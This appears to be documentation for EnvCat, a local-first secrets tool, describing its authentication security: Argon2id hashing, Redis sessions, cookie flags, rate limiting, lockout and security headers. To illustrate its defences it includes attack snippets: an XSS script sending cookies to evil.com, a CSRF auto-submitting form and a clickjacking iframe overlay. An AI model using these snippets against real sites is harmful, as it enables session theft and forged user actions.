Skip to main content

Authentication Security Model

Deep dive into the security architecture of EnvCat authentication.

Overview​

EnvCat authentication is designed for local-first security: credentials never leave your machine, sessions are ephemeral, and industry-standard cryptography protects passwords.

Security priorities:

  1. Privacy: No external authentication services, no cloud dependencies
  2. Industry standards: Argon2id hashing (OWASP #1), HTTP-only cookies, SameSite=Lax
  3. Defense in depth: Rate limiting, account lockout, security headers
  4. Simplicity: No complex auth flows, no JWT refresh tokens, no OAuth complexity

What we protect against:

  • ✅ Brute force attacks (rate limiting, Argon2id)
  • ✅ Credential stuffing (account lockout)
  • ✅ Session hijacking (HTTP-only cookies, SameSite)
  • ✅ CSRF attacks (SameSite=Lax cookies)
  • ✅ XSS attacks (HTTP-only cookies, CSP headers)

What we DON'T protect against (out of scope for local-first):

  • ❌ Physical access to server (local deployment assumption)
  • ❌ Malicious local processes (OS-level security)
  • ❌ Network sniffing on local machine (use HTTPS in production)

Password Security​

Hashing Algorithm: Argon2id​

Why Argon2id:

  • Winner of Password Hashing Competition (2015)
  • OWASP #1 recommendation (as of 2023)
  • Memory-hard: Resists GPU/ASIC attacks
  • Side-channel resistant
  • Future-proof (algorithm upgrades possible)

Comparison with other algorithms:

AlgorithmOWASP RankGPU ResistantMemory CostSpeedRecommendation
Argon2id#1✅ Yes64 MB200-300msBest choice
bcrypt#2❌ NoLow100-200msAcceptable
scrypt#3✅ YesMedium200-300msAcceptable
PBKDF2Not ranked❌ NoLow200-300msLegacy only

Argon2id Configuration​

Parameters (OWASP recommended):

time_cost: 2           # Iterations
memory_cost: 65536 # 64 MB (2^16 KB)
parallelism: 1 # Single thread
hash_len: 32 # 32-byte hash
salt_len: 16 # 16-byte salt (automatic)

Hash format:

$argon2id$v=19$m=65536,t=2,p=1$SaltBase64$HashBase64

Example:
$argon2id$v=19$m=65536,t=2,p=1$abcdefghijklmnop$qrstuvwxyz1234567890ABCDEFGHIJ

Components:

  • argon2id: Algorithm variant (hybrid: side-channel + GPU resistant)
  • v=19: Argon2 version
  • m=65536: Memory cost (64 MB)
  • t=2: Time cost (2 iterations)
  • p=1: Parallelism (1 thread)
  • SaltBase64: Random salt (16 bytes, base64 encoded)
  • HashBase64: Hash output (32 bytes, base64 encoded)

Security Strength​

Brute force resistance:

For a 10-character random password:

  • Character space: 62 characters (a-z, A-Z, 0-9)
  • Combinations: 62^10 = ~8.4 × 10^17
  • Hashing time: ~200ms per attempt
  • Time to crack: ~5.3 billion years (single GPU)

For a 16-character password:

  • Combinations: 62^16 = ~4.8 × 10^28
  • Time to crack: ~3.0 × 10^20 years (single GPU)

GPU farm attack:

  • Argon2id requires 64 MB RAM per hash
  • Modern GPU: 16 GB RAM = ~250 concurrent hashes
  • 100-GPU farm: 25,000 concurrent hashes
  • 10-char password: Still 212 million years

Comparison with bcrypt (not memory-hard):

  • bcrypt on GPU: 10,000x faster than CPU
  • Argon2id on GPU: ~2-3x faster than CPU (memory bottleneck)
  • Argon2id is ~3,000x more resistant to GPU attacks

Password Requirements​

Enforced:

  • ✅ Minimum length: 10 characters
  • ✅ Maximum length: 128 characters (prevent DoS)
  • ✅ No password in logs or error messages

Not enforced (NIST recommendation):

  • ❌ No complexity requirements (no uppercase, numbers, symbols)
  • ❌ No periodic password changes
  • ❌ No password hints

Why length > complexity:

NIST SP 800-63B (2023) recommends:

"Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types) on memorized secrets."

Reasoning:

  1. Long passphrases are easier to remember and type
  2. Complexity rules lead to predictable patterns (P@ssw0rd1, Password123!)
  3. Length provides exponentially more entropy

Examples:

Weak (8 chars, complex):    P@ssw0rd     = ~10^14 combinations
Strong (16 chars, simple): thisislongpassword = ~10^28 combinations

Weak: Password123! (common pattern)
Strong: correct-horse-battery-staple (long passphrase)
Strong: myprojectsecurepass2025 (long, meaningful)

Password Storage​

Storage location: SQLite database (/data/app.db)

Database schema:

CREATE TABLE users (
id TEXT PRIMARY KEY,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL, -- Argon2id hash (never plaintext)
...
);

Security:

  • Passwords are never stored in plaintext
  • Passwords are never logged (even hashed)
  • Passwords are never transmitted to external services
  • Hash is verified in Python process (not in SQL)

Upgradeability:

# Future: Automatically rehash with stronger parameters
if argon2.needs_update(user.password_hash):
new_hash = argon2.hash(plaintext_password)
user.password_hash = new_hash
db.commit()

Session Security​

Session Storage: Redis​

Why Redis:

  • Fast: 1-2ms session validation
  • Ephemeral: Auto-cleanup via TTL
  • Shared: Works across multiple API containers (future)
  • Atomic: Instant invalidation (logout, security events)

Session schema:

Key: constants_session:<session_id>

Value (Flask-Login format):
{
"_permanent": true,
"_user_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"csrf_token": "...", (future)
"created_at": 1697654400,
"last_activity": 1697658000
}

TTL: 86400 seconds (24 hours) or 2592000 seconds (30 days)

Session ID format:

  • Length: 32 bytes (256 bits)
  • Encoding: URL-safe base64
  • Entropy: 2^256 = ~10^77 possible session IDs
  • Example: a1b2c3d4e5f67890abcdef1234567890

Security properties:

  • Session IDs are cryptographically random (not sequential)
  • Guessing a valid session ID: ~10^77 attempts (impossible)
  • Session IDs are single-use after logout (deleted from Redis)
  • No session fixation (new session ID on login)

Session Cookies​

Cookie configuration:

Cookie-Name: constants_session
Value: <session_id>
HttpOnly: true # JavaScript cannot access
SameSite: Lax # No cross-site requests
Secure: false # Local dev (true for HTTPS)
Path: /
Domain: localhost
Max-Age: 86400 # 24 hours (or 2592000 for "remember me")

Security properties:

PropertyProtectionHow It Works
HttpOnlyXSS attacksJavaScript cannot access cookie (even if attacker injects script)
SameSite=LaxCSRF attacksCookie not sent on cross-site POST requests (only top-level navigation)
SecureNetwork sniffingCookie only sent over HTTPS (production only)
Path=/Path-based attacksCookie sent to all paths on domain

HttpOnly protection (XSS):

// Attacker injects malicious script
<script>
// Try to steal session cookie
const cookie = document.cookie; // Empty! (HttpOnly blocks access)
fetch('https://evil.com/steal?cookie=' + cookie); // No session stolen
</script>

SameSite protection (CSRF):

<!-- Attacker's website: evil.com -->
<form action="http://localhost:8888/api/v1/bundles" method="POST">
<input name="name" value="malicious-bundle">
</form>
<script>document.forms[0].submit();</script>

<!-- Result: Cookie NOT sent (SameSite=Lax blocks cross-site POST) -->
<!-- Attack fails: 401 Unauthorized -->

Session Lifecycle​

Creation (login):

  1. User submits username + password
  2. Server verifies password (Argon2id)
  3. Server generates random session ID (32 bytes)
  4. Server stores session in Redis (TTL = 24h or 30d)
  5. Server sends session ID in HTTP-only cookie
  6. Failed login counter reset to 0

Validation (each request):

  1. Browser sends cookie automatically
  2. Server extracts session ID from cookie
  3. Server looks up session in Redis (~1ms)
  4. If found and not expired: request proceeds
  5. If not found or expired: redirect to /login

Renewal (sliding window):

  1. On each authenticated request, TTL is refreshed
  2. Session stays alive as long as user is active
  3. Example: 24-hour session, user active every 12 hours → session never expires

Invalidation (logout):

  1. User clicks logout button
  2. Server deletes session from Redis (immediate)
  3. Server clears cookie (set to empty, Max-Age=0)
  4. Session ID is now invalid (cannot be reused)

Expiration (TTL):

  1. User inactive for 24 hours (or 30 days)
  2. Redis automatically deletes session (TTL expires)
  3. Next request: session not found → redirect to /login

Session Security​

Threat: Session Hijacking

Attack scenario:

  1. Attacker steals session cookie (network sniffing, XSS)
  2. Attacker uses cookie to impersonate user

Mitigations:

  • ✅ HTTP-only cookies (XSS can't steal)
  • ✅ SameSite=Lax (CSRF protection)
  • ✅ Secure flag (HTTPS only, production)
  • ✅ Short TTL (24 hours by default)
  • ✅ Logout invalidates session (Redis delete)

Residual risk (local deployment):

  • ❌ Network sniffing on local machine (HTTP not encrypted)
  • ❌ Physical access to server (can read Redis)

Production mitigation:

  • Use HTTPS (Secure flag enabled)
  • Use VPN or SSH tunnel (encrypted network)
  • Firewall rules (restrict access to trusted IPs)

Rate Limiting & Account Protection​

Login Rate Limiting​

Strategy: Prevent brute force attacks by limiting login attempts per IP.

Configuration:

@limiter.limit("5 per 15 minutes")
def login():
pass

Behavior:

  • 5 attempts allowed per 15-minute window
  • Window is per IP address
  • Counter stored in Redis
  • Automatically resets after 15 minutes

Rate limit response:

HTTP 429 Too Many Requests
{
"error": "Too many requests"
}

Headers:
X-RateLimit-Limit: 5
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1697655000 (Unix timestamp)

Rate limit key (Redis):

Key: LIMITER:<ip_address>:/api/v1/auth/login
Value: <attempt_count>
TTL: 900 seconds (15 minutes)

Example timeline:

12:00:00 - Attempt 1 (allowed)
12:01:00 - Attempt 2 (allowed)
12:02:00 - Attempt 3 (allowed)
12:03:00 - Attempt 4 (allowed)
12:04:00 - Attempt 5 (allowed)
12:05:00 - Attempt 6 (rate limited - 429 error)
12:15:01 - Counter resets, attempts allowed again

Bypass prevention:

  • IP-based limiting (attacker can't change IP easily on local network)
  • Per-route limiting (only login endpoint is limited, not all requests)
  • Redis storage (survives API restarts)

Account Lockout​

Strategy: Prevent credential stuffing by locking accounts after repeated failures.

Configuration:

# After 10 failed attempts, lock account for 1 hour
if user.failed_login_attempts >= 10:
user.locked_until = datetime.utcnow() + timedelta(hours=1)

Behavior:

  • Failed login increments failed_login_attempts counter (database)
  • After 10 failures, account locked for 1 hour
  • Locked accounts return 403 error (even with correct password)
  • Successful login resets counter to 0

Database schema:

CREATE TABLE users (
...
failed_login_attempts INTEGER DEFAULT 0,
locked_until DATETIME, -- NULL if not locked
...
);

Lockout response:

HTTP 403 Forbidden
{
"error": "Account locked until 2025-10-18T13:00:00Z"
}

Example timeline:

12:00 PM - Failed attempt 1 (counter = 1)
12:01 PM - Failed attempt 2 (counter = 2)
...
12:09 PM - Failed attempt 10 (counter = 10, locked_until = 1:00 PM)
12:10 PM - Correct password (still locked, error: "Account locked until 1:00 PM")
1:00 PM - Lockout expired, correct password accepted (counter reset to 0)

Manual unlock (advanced):

docker compose exec api python -c "
from db import get_db
from models.user import User

db = next(get_db())
user = db.query(User).filter(User.username == 'admin').first()
user.failed_login_attempts = 0
user.locked_until = None
db.commit()
"

Setup Endpoint Rate Limiting​

Why limit setup endpoint:

  • Prevent abuse of user creation
  • First user should be created once (not repeatedly)

Configuration:

@limiter.limit("3 per hour")
def setup():
pass

Behavior:

  • 3 attempts per hour per IP
  • Enough for legitimate setup (1-2 attempts)
  • Too restrictive for brute force abuse

Security Headers​

Headers Applied to All Responses​

Configuration:

@app.after_request
def set_security_headers(response):
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-XSS-Protection'] = '1; mode=block'
return response

X-Frame-Options: DENY​

Protection: Clickjacking attacks

How it works:

  • Prevents page from being embedded in <iframe>
  • Attacker cannot overlay transparent iframe to steal clicks

Attack scenario (prevented):

<!-- Attacker's site: evil.com -->
<iframe src="http://localhost:8888/bundles" style="opacity:0.01; position:absolute; top:0; left:0;">
</iframe>
<button style="position:absolute; top:100px; left:200px;">
Click for free Bitcoin!
</button>

<!-- User clicks button, actually clicks "Delete all bundles" in hidden iframe -->
<!-- Result: X-Frame-Options: DENY blocks iframe, attack fails -->

X-Content-Type-Options: nosniff​

Protection: MIME-sniffing attacks

How it works:

  • Forces browser to respect Content-Type header
  • Prevents browser from executing files as scripts if MIME type is wrong

Attack scenario (prevented):

Attacker uploads image.jpg (actually contains JavaScript)
Server serves with Content-Type: image/jpeg
Old browsers ignore MIME type and execute as JavaScript
X-Content-Type-Options: nosniff forces browser to treat as image
Attack fails (JavaScript not executed)

X-XSS-Protection: 1; mode=block​

Protection: Reflected XSS attacks (legacy)

How it works:

  • Enables browser's built-in XSS filter
  • Blocks page rendering if XSS is detected

Note: Legacy header (CSP is better), but provides defense-in-depth.

Future Headers (HTTPS)​

When HTTPS is enabled (production):

# Strict-Transport-Security (HSTS)
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
# Forces HTTPS for 1 year, includes subdomains

# Content-Security-Policy (CSP)
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self'; "
"style-src 'self' 'unsafe-inline'; " # Next.js needs inline styles
"img-src 'self' data:; "
"connect-src 'self'"
)
# Restricts script sources, prevents inline script injection

Threat Model​

Assets to Protect​

  1. User credentials (passwords)
  2. Session tokens (session IDs)
  3. Environment variables (bundles)
  4. Approval requests (ephemeral)

Threat Actors​

ActorAccessMotivationSkill Level
Malicious local userSame machineData theftMedium
Network attackerLocal networkMITM, sniffingHigh
Malicious softwareBrowser contextXSS, data theftMedium
Brute force attackerRemote (if exposed)Credential guessingLow-Medium

Attack Vectors & Mitigations​

AttackVectorMitigationResidual Risk
Password brute forceNetworkArgon2id (200ms), rate limiting (5/15min)Low
Credential stuffingNetworkAccount lockout (10 attempts)Low
Session hijackingNetwork sniffingHTTP-only, SameSite cookies; HTTPS (prod)Medium (local HTTP)
CSRFMalicious siteSameSite=Lax cookiesLow
XSSMalicious scriptHTTP-only cookies, CSP headersLow
ClickjackingMalicious iframeX-Frame-Options: DENYLow
SQL injectionMalicious inputSQLAlchemy ORM (parameterized queries)Very Low
Physical accessLocal serverOS-level security (out of scope)N/A

Local-First Security Benefits​

Privacy​

No cloud storage:

  • Credentials never transmitted to external servers
  • No third-party to breach
  • No subpoenas to comply with
  • No privacy policy changes to worry about

Air-gapped capable:

  • Works fully offline (no internet required)
  • No telemetry or analytics
  • No external dependencies

Control​

You own the infrastructure:

  • Full access to database (SQLite)
  • Full access to session storage (Redis)
  • Full access to logs
  • No vendor lock-in

You set the rules:

  • Password policy (configurable)
  • Session lifetime (configurable)
  • Rate limits (configurable)

Auditability​

Open-source:

  • Full code visibility (no hidden backdoors)
  • Security audit possible
  • Community review

Local logs:

  • All authentication events logged locally
  • No log shipping to third-party
  • Grep-friendly (structured JSON)

Compliance & Best Practices​

OWASP Top 10 (2021)​

Alignment:

OWASP CategoryEnvCat ImplementationStatus
A01: Broken Access ControlSession-based auth, protected routes✅ Implemented
A02: Cryptographic FailuresArgon2id hashing, HTTP-only cookies✅ Implemented
A03: InjectionSQLAlchemy ORM (parameterized)✅ Implemented
A04: Insecure DesignRate limiting, account lockout✅ Implemented
A05: Security MisconfigurationSecurity headers, sane defaults✅ Implemented
A07: Identification & Auth FailuresStrong hashing, session management✅ Implemented

NIST SP 800-63B (Password Guidelines)​

Compliance:

GuidelineEnvCat ImplementationStatus
Minimum 8 characters10-character minimum✅ Exceeds
No complexity requirementsNo uppercase/number/symbol rules✅ Compliant
Check against breach listsNot implemented (future)⚠️ Planned
No password hintsNot implemented✅ Compliant
No periodic changesNot enforced✅ Compliant

Logging Best Practices​

What we log:

  • ✅ Login attempts (success/failure)
  • ✅ Logout events
  • ✅ Account lockouts
  • ✅ Rate limit hits
  • ✅ Session creation/invalidation

What we DON'T log:

  • ❌ Passwords (plaintext or hashed)
  • ❌ Session tokens
  • ❌ Environment variable values
  • ❌ Personal information

Log format (structured JSON):

{
"timestamp": "2025-10-18T12:34:56Z",
"level": "INFO",
"event": "login_success",
"user_id": "a1b2c3d4-...",
"username": "admin",
"ip": "192.168.1.100"
}

Trade-offs & Limitations​

What We Give Up (Local-First)​

FeatureCloud (Doppler)EnvCat (Local)
Password resetEmail-basedManual (SQLite edit)
Multi-device sessionsSyncedIndependent (per machine)
Availability99.9% SLASelf-managed (your responsibility)
BackupAutomaticManual (your responsibility)
UpdatesAutomaticManual (docker compose pull)

What We Gain (Local-First)​

BenefitCloud (Doppler)EnvCat (Local)
PrivacyTrust third-partyZero third-party risk
Cost$21/user/month$0 forever
ControlVendor rulesYour rules
ComplianceThird-party dataLocal data (easier compliance)
Air-gappedNot possibleFully supported

See Also​